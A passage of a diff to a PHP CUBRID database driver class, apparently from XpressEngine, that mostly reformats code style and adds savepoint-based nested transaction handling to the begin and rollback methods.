+ /** + * constructor + * @return void + */ + function DBCubrid() { + $this->_setDBInfo(); + $this->_connect(); + } - /** - * prefix of XE tables(One more XE can be installed on a single DB) - * @var string - */ - var $prefix = 'xe_'; - /** - * max size of constant in CUBRID(if string is larger than this, '...'+'...' should be used) - * @var int - */ - var $cutlen = 12000; - var $comment_syntax = '/* %s */'; + /** + * Create an instance of this class + * @return DBCubrid return DBCubrid object instance + */ + function create() + { + return new DBCubrid; + } - /** - * column type used in CUBRID - * - * column_type should be replaced for each DBMS's type - * becasue it uses commonly defined type in the schema/query xml - * @var array - **/ - var $column_type = array( - 'bignumber' => 'numeric(20)', - 'number' => 'integer', - 'varchar' => 'character varying', - 'char' => 'character', - 'tinytext' => 'character varying(256)', - 'text' => 'character varying(1073741823)', - 'bigtext' => 'character varying(1073741823)', - 'date' => 'character varying(14)', - 'float' => 'float', - ); - - /** - * constructor - * @return void - */ - function DBCubrid() + /** + * Return if supportable + * Check 'cubrid_connect' function exists. + * @return boolean + */ + function isSupported() + { + if(!function_exists('cubrid_connect')) { - $this->_setDBInfo(); - $this->_connect(); + return FALSE; + } + return TRUE; + } + + /** + * DB Connect + * this method is private + * @param array $connection connection's value is db_hostname, db_port, db_database, db_userid, db_password + * @return resource + */ + function __connect($connection) + { + // attempts to connect + $result = @cubrid_connect($connection["db_hostname"], $connection["db_port"], $connection["db_database"], $connection["db_userid"], $connection["db_password"]); + + // check connections + if(!$result) + { + $this->setError(-1, 'database connect fail'); + return; } - /** - * Create an instance of this class - * @return DBCubrid return DBCubrid object instance - */ - function create() + if(!defined('__CUBRID_VERSION__')) { - return new DBCubrid; + $cubrid_version = cubrid_get_server_info($result); + $cubrid_version_elem = explode('.', $cubrid_version); + $cubrid_version = $cubrid_version_elem[0] . '.' . $cubrid_version_elem[1] . '.' . $cubrid_version_elem[2]; + define('__CUBRID_VERSION__', $cubrid_version); } - /** - * Return if supportable - * Check 'cubrid_connect' function exists. - * @return boolean - */ - function isSupported() + if(__CUBRID_VERSION__ >= '8.4.0') + cubrid_set_autocommit($result, CUBRID_AUTOCOMMIT_TRUE); + + return $result; + } + + /** + * DB disconnection + * this method is private + * @param resource $connection + * @return void + */ + function _close($connection) + { + @cubrid_commit($connection); + @cubrid_disconnect($connection); + $this->transaction_started = FALSE; + } + + /** + * Handles quatation of the string variables from the query + * @param string $string + * @return string + */ + function addQuotes($string) + { + if(version_compare(PHP_VERSION, "5.9.0", "<") && + get_magic_quotes_gpc()) { - if (!function_exists('cubrid_connect')) return FALSE; - return TRUE; + $string = stripslashes(str_replace("\\", "\\\\", $string)); } - /** - * DB Connect - * this method is private - * @param array $connection connection's value is db_hostname, db_port, db_database, db_userid, db_password - * @return resource - */ - function __connect($connection) + if(!is_numeric($string)) { - // attempts to connect - $result = @cubrid_connect($connection["db_hostname"], $connection["db_port"], $connection["db_database"], $connection["db_userid"], $connection["db_password"]); - - // check connections - if (!$result) { - $this->setError (-1, 'database connect fail'); - return; - } - - if(!defined('__CUBRID_VERSION__')) { - $cubrid_version = cubrid_get_server_info($result); - $cubrid_version_elem = explode('.', $cubrid_version); - $cubrid_version = $cubrid_version_elem[0] . '.' . $cubrid_version_elem[1] . '.' . $cubrid_version_elem[2]; - define('__CUBRID_VERSION__', $cubrid_version); - } - - if(__CUBRID_VERSION__ >= '8.4.0') - cubrid_set_autocommit($result, CUBRID_AUTOCOMMIT_TRUE); - - return $result; - } - - /** - * DB disconnection - * this method is private - * @param resource $connection - * @return void - */ - function _close($connection) - { - @cubrid_commit ($connection); - @cubrid_disconnect ($connection); - $this->transaction_started = FALSE; - } - - /** - * Handles quatation of the string variables from the query - * @param string $string - * @return string - */ - function addQuotes($string) - { - if (version_compare (PHP_VERSION, "5.9.0", "<") && - get_magic_quotes_gpc ()) { - $string = stripslashes (str_replace ("\\","\\\\", $string)); - } - - if (!is_numeric ($string)) { /* - if ($this->isConnected()) { - $string = cubrid_real_escape_string($string); - } - else { - $string = str_replace("'","\'",$string); - } - */ + if ($this->isConnected()) { + $string = cubrid_real_escape_string($string); + } + else { + $string = str_replace("'","\'",$string); + } + */ - $string = str_replace("'","''",$string); - } - - return $string; + $string = str_replace("'", "''", $string); } - /** - * DB transaction start - * this method is private - * @return boolean - */ - function _begin() - { - if(__CUBRID_VERSION__ >= '8.4.0') - { - $connection = $this->_getConnection('master'); - cubrid_set_autocommit($connection, CUBRID_AUTOCOMMIT_FALSE); - } - return TRUE; - } + return $string; + } - /** - * DB transaction rollback - * this method is private - * @return boolean - */ - function _rollback() - { - $connection = $this->_getConnection('master'); - @cubrid_rollback ($connection); - return TRUE; - } - - /** - * DB transaction commit - * this method is private - * @return boolean - */ - function _commit() + /** + * DB transaction start + * this method is private + * @return boolean + */ + function _begin($transactionLevel) + { + if(__CUBRID_VERSION__ >= '8.4.0') { $connection = $this->_getConnection('master'); - @cubrid_commit($connection); - return TRUE; + + if(!$transactionLevel) + { + cubrid_set_autocommit($connection, CUBRID_AUTOCOMMIT_FALSE); + } + else + { + $this->_query("SAVEPOINT SP" . $transactionLevel, $connection); + } + } + return TRUE; + } + + /** + * DB transaction rollback + * this method is private + * @return boolean + */ + function _rollback($transactionLevel) + { + $connection = $this->_getConnection('master'); + + $point = $transactionLevel - 1; + + if($point) + { + $this->_query("ROLLBACK TO SP" . $point, $connection); + } + else + { + @cubrid_rollback($connection); } - /** - * Execute the query - * this method is private - * @param string $query - * @param resource $connection - * @return resource - */ - function __query($query, $connection) + return TRUE; + } + + /** + * DB transaction commit + * this method is private + * @return boolean + */ + function _commit() + { + $connection = $this->_getConnection('master'); + @cubrid_commit($connection); + return TRUE; + } + + /** + * Execute the query + * this method is private + * @param string $query + * @param resource $connection + * @return resource + */ + function __query($query, $connection) + { + if($this->use_prepared_statements == 'Y') { - if($this->use_prepared_statements == 'Y') + $req = @cubrid_prepare($connection, $query); + if(!$req) { - $req = @cubrid_prepare($connection, $query); - if(!$req) - { - $this->_setError(); - return false; - } + $this->_setError(); + return false; + } - $position = 0; - if($this->param) + $position = 0; + if($this->param) + { + foreach($this->param as $param) { - foreach($this->param as $param) + $value = $param->getUnescapedValue(); + $type = $param->getType(); + + if($param->isColumnName()) { - $value = $param->getUnescapedValue(); - $type = $param->getType(); - - if($param->isColumnName()) continue; + continue; + } - switch($type) - { - case 'number' : - $bind_type = 'numeric'; - break; - case 'varchar' : - $bind_type = 'string'; - break; - default: - $bind_type = 'string'; - } + switch($type) + { + case 'number' : + $bind_type = 'numeric'; + break; + case 'varchar' : + $bind_type = 'string'; + break; + default: + $bind_type = 'string'; + } - if(is_array($value)){ - foreach($value as $v) - { - $bound = @cubrid_bind($req, ++$position, $v, $bind_type); - if(!$bound) - { - $this->_setError(); - return false; - } - } - } - else + if(is_array($value)) + { + foreach($value as $v) { - $bound = @cubrid_bind($req, ++$position, $value, $bind_type); + $bound = @cubrid_bind($req, ++$position, $v, $bind_type); if(!$bound) { $this->_setError(); @@ -243,764 +265,929 @@ } } } + else + { + $bound = @cubrid_bind($req, ++$position, $value, $bind_type); + if(!$bound) + { + $this->_setError(); + return false; + } + } } - - $result = @cubrid_execute($req); - if(!$result) - { - $this->_setError(); - return false; - } - return $req; - } - // Execute the query - $result = @cubrid_execute ($connection, $query); - // error check - if (!$result) { + + $result = @cubrid_execute($req); + if(!$result) + { $this->_setError(); return false; } - // Return the result - return $result; + return $req; + } + // Execute the query + $result = @cubrid_execute($connection, $query); + // error check + if(!$result) + { + $this->_setError(); + return false; + } + // Return the result + return $result; + } + + /** + * Retrieve CUBRID error and set to object + * + * @author Corina Udrescu (dev@xpressengine.org) + */ + function _setError() + { + $code = cubrid_error_code(); + $msg = cubrid_error_msg(); + + $this->setError($code, $msg); + } + + /** + * Fetch the result + * @param resource $result + * @param int|NULL $arrayIndexEndValue + * @return array + */ + function _fetch($result, $arrayIndexEndValue = NULL) + { + $output = array(); + if(!$this->isConnected() || $this->isError() || !$result) + { + return array(); } - /** - * Retrieve CUBRID error and set to object - * - * @author Corina Udrescu (dev@xpressengine.org) - */ - function _setError() + if($this->use_prepared_statements == 'Y') { - $code = cubrid_error_code (); - $msg = cubrid_error_msg (); - $this->setError ($code, $msg); } - /** - * Fetch the result - * @param resource $result - * @param int|NULL $arrayIndexEndValue - * @return array - */ - function _fetch($result, $arrayIndexEndValue = NULL) - { - $output = array(); - if (!$this->isConnected() || $this->isError() || !$result) return array(); + // TODO Improve this piece of code + // This code trims values from char type columns + $col_types = cubrid_column_types($result); + $col_names = cubrid_column_names($result); + $max = count($col_types); - if($this->use_prepared_statements == 'Y') + for($count = 0; $count < $max; $count++) + { + if(preg_match("/^char/", $col_types[$count]) > 0) { - + $char_type_fields[] = $col_names[$count]; } - - // TODO Improve this piece of code - // This code trims values from char type columns - $col_types = cubrid_column_types ($result); - $col_names = cubrid_column_names ($result); - $max = count ($col_types); - - for ($count = 0; $count < $max; $count++) { - if (preg_match ("/^char/", $col_types[$count]) > 0) { - $char_type_fields[] = $col_names[$count]; - } - } - - while ($tmp = cubrid_fetch ($result, CUBRID_OBJECT)) { - if (is_array ($char_type_fields)) { - foreach ($char_type_fields as $val) { - $tmp->{$val} = rtrim ($tmp->{$val}); - } - } - - if($arrayIndexEndValue) $output[$arrayIndexEndValue--] = $tmp; - else $output[] = $tmp; - } - - unset ($char_type_fields); - - if ($result) cubrid_close_request($result); - - if(count($output)==1){ - // If call is made for pagination, always return array - if(isset($arrayIndexEndValue)) return $output; - // Else return object instead of array - else return $output[0]; - } - return $output; } - /** - * Return the sequence value incremented by 1 - * Auto_increment column only used in the CUBRID sequence table - * @return int - */ - function getNextSequence() + while($tmp = cubrid_fetch($result, CUBRID_OBJECT)) { - $this->_makeSequence(); + if(is_array($char_type_fields)) + { + foreach($char_type_fields as $val) + { + $tmp->{$val} = rtrim($tmp->{$val}); + } + } + + if($arrayIndexEndValue) + { + $output[$arrayIndexEndValue--] = $tmp; + } + else + { + $output[] = $tmp; + } + } + + unset($char_type_fields); + + if($result) + { + cubrid_close_request($result); + } + + if(count($output) == 1) + { + // If call is made for pagination, always return array + if(isset($arrayIndexEndValue)) + { + return $output; + } + // Else return object instead of array + else + { + return $output[0]; + } + } + return $output; + } + + /** + * Return the sequence value incremented by 1 + * Auto_increment column only used in the CUBRID sequence table + * @return int + */ + function getNextSequence() + { + $this->_makeSequence(); + + $query = sprintf("select \"%ssequence\".\"nextval\" as \"seq\" from db_root", $this->prefix); + $result = $this->_query($query); + $output = $this->_fetch($result); + + return $output->seq; + } + + /** + * if the table already exists, set the status to GLOBALS + * @return void + */ + function _makeSequence() + { + if($_GLOBALS['XE_EXISTS_SEQUENCE']) + return; + + // check cubrid serial + $query = sprintf('select count(*) as "count" from "db_serial" where name=\'%ssequence\'', $this->prefix); + $result = $this->_query($query); + $output = $this->_fetch($result); + + // if do not create serial + if($output->count == 0) + { + $query = sprintf('select max("a"."srl") as "srl" from ' . + '( select max("document_srl") as "srl" from ' . + '"%sdocuments" UNION ' . + 'select max("comment_srl") as "srl" from ' . + '"%scomments" UNION ' . + 'select max("member_srl") as "srl" from ' . + '"%smember"' . + ') as "a"', $this->prefix, $this->prefix, $this->prefix); - $query = sprintf ("select \"%ssequence\".\"nextval\" as \"seq\" from db_root", $this->prefix); $result = $this->_query($query); $output = $this->_fetch($result); - - return $output->seq; - } - - /** - * if the table already exists, set the status to GLOBALS - * @return void - */ - function _makeSequence() - { - if($_GLOBALS['XE_EXISTS_SEQUENCE']) return; - - // check cubrid serial - $query = sprintf('select count(*) as "count" from "db_serial" where name=\'%ssequence\'', $this->prefix); - $result = $this->_query($query); - $output = $this->_fetch($result); - - // if do not create serial - if ($output->count == 0) { - $query = sprintf('select max("a"."srl") as "srl" from '. - '( select max("document_srl") as "srl" from '. - '"%sdocuments" UNION '. - 'select max("comment_srl") as "srl" from '. - '"%scomments" UNION '. - 'select max("member_srl") as "srl" from '. - '"%smember"'. - ') as "a"', $this->prefix, $this->prefix, $this->prefix); - - $result = $this->_query($query); - $output = $this->_fetch($result); - $srl = $output->srl; - if ($srl < 1) { - $start = 1; - } - else { - $start = $srl + 1000000; - } - - // create sequence - $query = sprintf('create serial "%ssequence" start with %s increment by 1 minvalue 1 maxvalue 10000000000000000000000000000000000000 nocycle;', $this->prefix, $start); - $this->_query($query); + $srl = $output->srl; + if($srl < 1) + { + $start = 1; + } + else + { + $start = $srl + 1000000; } - $_GLOBALS['XE_EXISTS_SEQUENCE'] = TRUE; - } - - - /** - * Check a table exists status - * @param string $target_name - * @return boolean - */ - function isTableExists ($target_name) - { - if($target_name == 'sequence') { - $query = sprintf ("select \"name\" from \"db_serial\" where \"name\" = '%s%s'", $this->prefix, $target_name); - } - else { - $query = sprintf ("select \"class_name\" from \"db_class\" where \"class_name\" = '%s%s'", $this->prefix, $target_name); - } - - $result = $this->_query ($query); - if (cubrid_num_rows($result) > 0) { - $output = TRUE; - } - else { - $output = FALSE; - } - - if ($result) cubrid_close_request ($result); - - return $output; - } - - /** - * Add a column to the table - * @param string $table_name table name - * @param string $column_name column name - * @param string $type column type, default value is 'number' - * @param int $size column size - * @param string|int $default default value - * @param boolean $notnull not null status, default value is false - * @return void - */ - function addColumn($table_name, $column_name, $type = 'number', $size = '', $default = '', $notnull = FALSE) - { - $type = strtoupper($this->column_type[$type]); - if ($type == 'INTEGER') $size = ''; - - $query = sprintf ("alter class \"%s%s\" add \"%s\" ", $this->prefix, $table_name, $column_name); - - if ($type == 'char' || $type == 'varchar') { - if ($size) $size = $size * 3; - } - - if ($size) { - $query .= sprintf ("%s(%s) ", $type, $size); - } - else { - $query .= sprintf ("%s ", $type); - } - - if ($default) { - if ($type == 'INTEGER' || $type == 'BIGINT' || $type=='INT') { - $query .= sprintf ("default %d ", $default); - } - else { - $query .= sprintf ("default '%s' ", $default); - } - } - - if ($notnull) $query .= "not null "; - - return $this->_query ($query); - } - - /** - * Drop a column from the table - * @param string $table_name table name - * @param string $column_name column name - * @return void - */ - function dropColumn ($table_name, $column_name) - { - $query = sprintf ("alter class \"%s%s\" drop \"%s\" ", $this->prefix, $table_name, $column_name); - - $this->_query ($query); - } - - /** - * Check column exist status of the table - * @param string $table_name table name - * @param string $column_name column name - * @return boolean - */ - function isColumnExists ($table_name, $column_name) - { - $query = sprintf ("select \"attr_name\" from \"db_attribute\" where ". "\"attr_name\" ='%s' and \"class_name\" = '%s%s'", $column_name, $this->prefix, $table_name); - $result = $this->_query ($query); - - if (cubrid_num_rows ($result) > 0) $output = TRUE; - else $output = FALSE; - - if ($result) cubrid_close_request ($result); - - return $output; - } - - /** - * Add an index to the table - * $target_columns = array(col1, col2) - * $is_unique? unique : none - * @param string $table_name table name - * @param string $index_name index name - * @param string|array $target_columns target column or columns - * @param boolean $is_unique - * @return void - */ - function addIndex ($table_name, $index_name, $target_columns, $is_unique = FALSE) - { - if (!is_array ($target_columns)) { - $target_columns = array ($target_columns); - } - - $query = sprintf ("create %s index \"%s\" on \"%s%s\" (%s);", $is_unique?'unique':'', $index_name, $this->prefix, $table_name, '"'.implode('","',$target_columns).'"'); - - $this->_query ($query); - } - - /** - * Drop an index from the table - * @param string $table_name table name - * @param string $index_name index name - * @param boolean $is_unique - * @return void - */ - function dropIndex ($table_name, $index_name, $is_unique = FALSE) - { - $query = sprintf ("drop %s index \"%s\" on \"%s%s\"", $is_unique?'unique':'', $index_name, $this->prefix, $table_name); - + // create sequence + $query = sprintf('create serial "%ssequence" start with %s increment by 1 minvalue 1 maxvalue 10000000000000000000000000000000000000 nocycle;', $this->prefix, $start); $this->_query($query); } - /** - * Check index status of the table - * @param string $table_name table name - * @param string $index_name index name - * @return boolean - */ - function isIndexExists ($table_name, $index_name) + $_GLOBALS['XE_EXISTS_SEQUENCE'] = TRUE; + } + + /** + * Check a table exists status + * @param string $target_name + * @return boolean + */ + function isTableExists($target_name) + { + if($target_name == 'sequence') { - $query = sprintf ("select \"index_name\" from \"db_index\" where ". "\"class_name\" = '%s%s' and (\"index_name\" = '%s' or \"index_name\" = '%s') ", $this->prefix, $table_name, $this->prefix .$index_name, $index_name); - $result = $this->_query ($query); - - if ($this->isError ()) return FALSE; - - $output = $this->_fetch ($result); - - if (!$output) return FALSE; - return TRUE; + $query = sprintf("select \"name\" from \"db_serial\" where \"name\" = '%s%s'", $this->prefix, $target_name); + } + else + { + $query = sprintf("select \"class_name\" from \"db_class\" where \"class_name\" = '%s%s'", $this->prefix, $target_name); } - /** - * Delete duplicated index of the table - * @return boolean - */ - function deleteDuplicateIndexes() - { - $query = sprintf(" - select \"class_name\" - , case - when substr(\"index_name\", 0, %d) = '%s' - then substr(\"index_name\", %d) - else \"index_name\" end as unprefixed_index_name - , \"is_unique\" - from \"db_index\" - where \"class_name\" like %s - group by \"class_name\" - , case - when substr(\"index_name\", 0, %d) = '%s' - then substr(\"index_name\", %d) - else \"index_name\" - end - having count(*) > 1 - ", strlen($this->prefix) - , $this->prefix - , strlen($this->prefix) + 1 - , "'" . $this->prefix . '%' . "'" - , strlen($this->prefix) - , $this->prefix - , strlen($this->prefix) + 1 - ); - $result = $this->_query ($query); - - if ($this->isError ()) return FALSE; - - $output = $this->_fetch ($result); - if (!$output) return FALSE; - - if(!is_array($output)) { - $indexes_to_be_deleted = array($output); - } - else { - $indexes_to_be_deleted = $output; - } - - foreach($indexes_to_be_deleted as $index) - { - $this->dropIndex(substr($index->class_name, strlen($this->prefix)) - , $this->prefix . $index->unprefixed_index_name - , $index->is_unique == 'YES' ? TRUE : FALSE); - } - - return TRUE; - } - - /** - * Creates a table by using xml contents - * @param string $xml_doc xml schema contents - * @return void|object - */ - function createTableByXml ($xml_doc) + $result = $this->_query($query); + if(cubrid_num_rows($result) > 0) { - return $this->_createTable ($xml_doc); + $output = TRUE; + } + else + { + $output = FALSE; } - /** - * Creates a table by using xml file path - * @param string $file_name xml schema file path - * @return void|object - */ - function createTableByXmlFile ($file_name) + if($result) { - if (!file_exists ($file_name)) return; - // read xml file - $buff = FileHandler::readFile ($file_name); - return $this->_createTable ($buff); + cubrid_close_request($result); } - /** - * Create table by using the schema xml - * - * type : number, varchar, tinytext, text, bigtext, char, date, \n - * opt : notnull, default, size\n - * index : primary key, index, unique\n - * @param string $xml_doc xml schema contents - * @return void|object - */ - function _createTable ($xml_doc) + return $output; + } + + /** + * Add a column to the table + * @param string $table_name table name + * @param string $column_name column name + * @param string $type column type, default value is 'number' + * @param int $size column size + * @param string|int $default default value + * @param boolean $notnull not null status, default value is false + * @return void + */ + function addColumn($table_name, $column_name, $type = 'number', $size = '', $default = '', $notnull = FALSE) + { + $type = strtoupper($this->column_type[$type]); + if($type == 'INTEGER') { - // xml parsing - $oXml = new XmlParser(); - $xml_obj = $oXml->parse($xml_doc); - // Create a table schema - $table_name = $xml_obj->table->attrs->name; - - // if the table already exists exit function - if ($this->isTableExists($table_name)) return; - - // If the table name is sequence, it creates a serial - if ($table_name == 'sequence') { - $query = sprintf ('create serial "%s" start with 1 increment by 1'. - ' minvalue 1 '. - 'maxvalue 10000000000000000000000000000000000000'. ' nocycle;', $this->prefix.$table_name); - - return $this->_query($query); - } - - - $table_name = $this->prefix.$table_name; - - $query = sprintf ('create class "%s";', $table_name); - $this->_query ($query); - - if (!is_array ($xml_obj->table->column)) { - $columns[] = $xml_obj->table->column; - } - else { - $columns = $xml_obj->table->column; - } - - $query = sprintf ("alter class \"%s\" add attribute ", $table_name); - - $primary_list = array(); - $unique_list = array(); - $index_list = array(); - - foreach ($columns as $column) { - $name = $column->attrs->name; - $type = $column->attrs->type; - $size = $column->attrs->size; - $notnull = $column->attrs->notnull; - $primary_key = $column->attrs->primary_key; - $index = $column->attrs->index; - $unique = $column->attrs->unique; - $default = $column->attrs->default; - - switch ($this->column_type[$type]) { - case 'integer' : - $size = NULL; - break; - case 'text' : - $size = NULL; - break; - } - - if (isset ($default) && ($type == 'varchar' || $type == 'char' || - $type == 'text' || $type == 'tinytext' || $type == 'bigtext')) { - $default = sprintf ("'%s'", $default); - } - - if ($type == 'varchar' || $type == 'char') { - if($size) $size = $size * 3; - } - - - $column_schema[] = sprintf ('"%s" %s%s %s %s', - $name, - $this->column_type[$type], - $size?'('.$size.')':'', - isset($default)?"default ".$default:'', - $notnull?'not null':''); - - if ($primary_key) { - $primary_list[] = $name; - } - else if ($unique) { - $unique_list[$unique][] = $name; - } - else if ($index) { - $index_list[$index][] = $name; - } - } - - $query .= implode (',', $column_schema).';'; - $this->_query ($query); - - if (count ($primary_list)) { - $query = sprintf ("alter class \"%s\" add attribute constraint ". "\"pkey_%s\" PRIMARY KEY(%s);", $table_name, $table_name, '"'.implode('","',$primary_list).'"'); - $this->_query ($query); - } - - if (count ($unique_list)) { - foreach ($unique_list as $key => $val) { - $query = sprintf ("create unique index \"%s\" on \"%s\" ". "(%s);", $key, $table_name, '"'.implode('","', $val).'"'); - $this->_query ($query); - } - } - - if (count ($index_list)) { - foreach ($index_list as $key => $val) { - $query = sprintf ("create index \"%s\" on \"%s\" (%s);", $key, $table_name, '"'.implode('","',$val).'"'); - $this->_query ($query); - } - } + $size = ''; } + $query = sprintf("alter class \"%s%s\" add \"%s\" ", $this->prefix, $table_name, $column_name); - - - /** - * Handles insertAct - * @param Object $queryObject - * @param boolean $with_values - * @return resource - */ - function _executeInsertAct($queryObject, $with_values = TRUE) + if($type == 'char' || $type == 'varchar') { - if($this->use_prepared_statements == 'Y') + if($size) { - $this->param = $queryObject->getArguments(); - $with_values = FALSE; + $size = $size * 3; } - $query = $this->getInsertSql($queryObject, $with_values); - if(is_a($query, 'Object')) return; + } - $query .= (__DEBUG_QUERY__&1 && $this->query_id)?sprintf (' '.$this->comment_syntax, $this->query_id):''; + if($size) + { + $query .= sprintf("%s(%s) ", $type, $size); + } + else + { + $query .= sprintf("%s ", $type); + } - $result = $this->_query ($query); - if ($result && !$this->transaction_started) { - $this->_commit(); + if($default) + { + if($type == 'INTEGER' || $type == 'BIGINT' || $type == 'INT') + { + $query .= sprintf("default %d ", $default); } + else + { + $query .= sprintf("default '%s' ", $default); + } + } + + if($notnull) + { + $query .= "not null "; + } + + return $this->_query($query); + } + + /** + * Drop a column from the table + * @param string $table_name table name + * @param string $column_name column name + * @return void + */ + function dropColumn($table_name, $column_name) + { + $query = sprintf("alter class \"%s%s\" drop \"%s\" ", $this->prefix, $table_name, $column_name); + + $this->_query($query); + } + + /** + * Check column exist status of the table + * @param string $table_name table name + * @param string $column_name column name + * @return boolean + */ + function isColumnExists($table_name, $column_name) + { + $query = sprintf("select \"attr_name\" from \"db_attribute\" where " . "\"attr_name\" ='%s' and \"class_name\" = '%s%s'", $column_name, $this->prefix, $table_name); + $result = $this->_query($query); + + if(cubrid_num_rows($result) > 0) + { + $output = TRUE; + } + else + { + $output = FALSE; + } + + if($result) + { + cubrid_close_request($result); + } + + return $output; + } + + /** + * Add an index to the table + * $target_columns = array(col1, col2) + * $is_unique? unique : none + * @param string $table_name table name + * @param string $index_name index name + * @param string|array $target_columns target column or columns + * @param boolean $is_unique + * @return void + */ + function addIndex($table_name, $index_name, $target_columns, $is_unique = FALSE) + { + if(!is_array($target_columns)) + { + $target_columns = array($target_columns); + } + + $query = sprintf("create %s index \"%s\" on \"%s%s\" (%s);", $is_unique ? 'unique' : '', $index_name, $this->prefix, $table_name, '"' . implode('","', $target_columns) . '"'); + + $this->_query($query); + } + + /** + * Drop an index from the table + * @param string $table_name table name + * @param string $index_name index name + * @param boolean $is_unique + * @return void + */ + function dropIndex($table_name, $index_name, $is_unique = FALSE) + { + $query = sprintf("drop %s index \"%s\" on \"%s%s\"", $is_unique ? 'unique' : '', $index_name, $this->prefix, $table_name); + + $this->_query($query); + } + + /** + * Check index status of the table + * @param string $table_name table name + * @param string $index_name index name + * @return boolean + */ + function isIndexExists($table_name, $index_name) + { + $query = sprintf("select \"index_name\" from \"db_index\" where " . "\"class_name\" = '%s%s' and (\"index_name\" = '%s' or \"index_name\" = '%s') ", $this->prefix, $table_name, $this->prefix . $index_name, $index_name); + $result = $this->_query($query); + + if($this->isError()) + { + return FALSE; + } + + $output = $this->_fetch($result); + + if(!$output) + { + return FALSE; + } + return TRUE; + } + + /** + * Delete duplicated index of the table + * @return boolean + */ + function deleteDuplicateIndexes() + { + $query = sprintf(" + select \"class_name\" + , case + when substr(\"index_name\", 0, %d) = '%s' + then substr(\"index_name\", %d) + else \"index_name\" end as unprefixed_index_name + , \"is_unique\" + from \"db_index\" + where \"class_name\" like %s + group by \"class_name\" + , case + when substr(\"index_name\", 0, %d) = '%s' + then substr(\"index_name\", %d) + else \"index_name\" + end + having count(*) > 1 + ", strlen($this->prefix) + , $this->prefix + , strlen($this->prefix) + 1 + , "'" . $this->prefix . '%' . "'" + , strlen($this->prefix) + , $this->prefix + , strlen($this->prefix) + 1 + ); + $result = $this->_query($query); + + if($this->isError()) + { + return FALSE; + } + + $output = $this->_fetch($result); + if(!$output) + { + return FALSE; + } + + if(!is_array($output)) + { + $indexes_to_be_deleted = array($output); + } + else + { + $indexes_to_be_deleted = $output; + } + + foreach($indexes_to_be_deleted as $index) + { + $this->dropIndex(substr($index->class_name, strlen($this->prefix)) + , $this->prefix . $index->unprefixed_index_name + , $index->is_unique == 'YES' ? TRUE : FALSE); + } + + return TRUE; + } + + /** + * Creates a table by using xml contents + * @param string $xml_doc xml schema contents + * @return void|object + */ + function createTableByXml($xml_doc) + { + return $this->_createTable($xml_doc); + } + + /** + * Creates a table by using xml file path + * @param string $file_name xml schema file path + * @return void|object + */ + function createTableByXmlFile($file_name) + { + if(!file_exists($file_name)) + { + return; + } + // read xml file + $buff = FileHandler::readFile($file_name); + return $this->_createTable($buff); + } + + /** + * Create table by using the schema xml + * + * type : number, varchar, tinytext, text, bigtext, char, date, \n + * opt : notnull, default, size\n + * index : primary key, index, unique\n + * @param string $xml_doc xml schema contents + * @return void|object + */ + function _createTable($xml_doc) + { + // xml parsing + $oXml = new XmlParser(); + $xml_obj = $oXml->parse($xml_doc); + // Create a table schema + $table_name = $xml_obj->table->attrs->name; + + // if the table already exists exit function + if($this->isTableExists($table_name)) + { + return; + } + + // If the table name is sequence, it creates a serial + if($table_name == 'sequence') + { + $query = sprintf('create serial "%s" start with 1 increment by 1' . + ' minvalue 1 ' . + 'maxvalue 10000000000000000000000000000000000000' . ' nocycle;', $this->prefix . $table_name); + + return $this->_query($query); + } + + + $table_name = $this->prefix . $table_name; + + $query = sprintf('create class "%s";', $table_name); + $this->_query($query); + + if(!is_array($xml_obj->table->column)) + { + $columns[] = $xml_obj->table->column; + } + else + { + $columns = $xml_obj->table->column; + } + + $query = sprintf("alter class \"%s\" add attribute ", $table_name); + + $primary_list = array(); + $unique_list = array(); + $index_list = array(); + + foreach($columns as $column) + { + $name = $column->attrs->name; + $type = $column->attrs->type; + $size = $column->attrs->size; + $notnull = $column->attrs->notnull; + $primary_key = $column->attrs->primary_key; + $index = $column->attrs->index; + $unique = $column->attrs->unique; + $default = $column->attrs->default; + + switch($this->column_type[$type]) + { + case 'integer' : + $size = NULL; + break; + case 'text' : + $size = NULL; + break; + } + + if(isset($default) && ($type == 'varchar' || $type == 'char' || + $type == 'text' || $type == 'tinytext' || $type == 'bigtext')) + { + $default = sprintf("'%s'", $default); + } + + if($type == 'varchar' || $type == 'char') + { + if($size) + $size = $size * 3; + } + + + $column_schema[] = sprintf('"%s" %s%s %s %s', $name, $this->column_type[$type], $size ? '(' . $size . ')' : '', isset($default) ? "default " . $default : '', $notnull ? 'not null' : ''); + + if($primary_key) + { + $primary_list[] = $name; + } + else if($unique) + { + $unique_list[$unique][] = $name; + } + else if($index) + { + $index_list[$index][] = $name; + } + } + + $query .= implode(',', $column_schema) . ';'; + $this->_query($query); + + if(count($primary_list)) + { + $query = sprintf("alter class \"%s\" add attribute constraint " . "\"pkey_%s\" PRIMARY KEY(%s);", $table_name, $table_name, '"' . implode('","', $primary_list) . '"'); + $this->_query($query); + } + + if(count($unique_list)) + { + foreach($unique_list as $key => $val) + { + $query = sprintf("create unique index \"%s\" on \"%s\" " . "(%s);", $key, $table_name, '"' . implode('","', $val) . '"'); + $this->_query($query); + } + } + + if(count($index_list)) + { + foreach($index_list as $key => $val) + { + $query = sprintf("create index \"%s\" on \"%s\" (%s);", $key, $table_name, '"' . implode('","', $val) . '"'); + $this->_query($query); + } + } + } + + /** + * Handles insertAct + * @param Object $queryObject + * @param boolean $with_values + * @return resource + */ + function _executeInsertAct($queryObject, $with_values = TRUE) + { + if($this->use_prepared_statements == 'Y') + { + $this->param = $queryObject->getArguments(); + $with_values = FALSE; + } + $query = $this->getInsertSql($queryObject, $with_values); + if(is_a($query, 'Object')) + { unset($this->param); - return $result; + return; } - /** - * Handles updateAct - * @param Object $queryObject - * @param boolean $with_values - * @return resource - */ - function _executeUpdateAct($queryObject, $with_values = TRUE) + $query .= (__DEBUG_QUERY__ & 1 && $this->query_id) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; + + $result = $this->_query($query); + if($result && !$this->transaction_started) { - if($this->use_prepared_statements == 'Y') - { - $this->param = $queryObject->getArguments(); - $with_values = FALSE; - } - $query = $this->getUpdateSql($queryObject, $with_values); - if(is_a($query, 'Object')) return; - - $query .= (__DEBUG_QUERY__&1 && $this->query_id)?sprintf (' '.$this->comment_syntax, $this->query_id):''; - - $result = $this->_query($query); - - if ($result && !$this->transaction_started) $this->_commit(); - unset($this->param); - return $result; + $this->_commit(); } + unset($this->param); + return $result; + } - - /** - * Handles deleteAct - * @param Object $queryObject - * @param boolean $with_values - * @return resource - */ - function _executeDeleteAct($queryObject, $with_values = TRUE) + /** + * Handles updateAct + * @param Object $queryObject + * @param boolean $with_values + * @return resource + */ + function _executeUpdateAct($queryObject, $with_values = 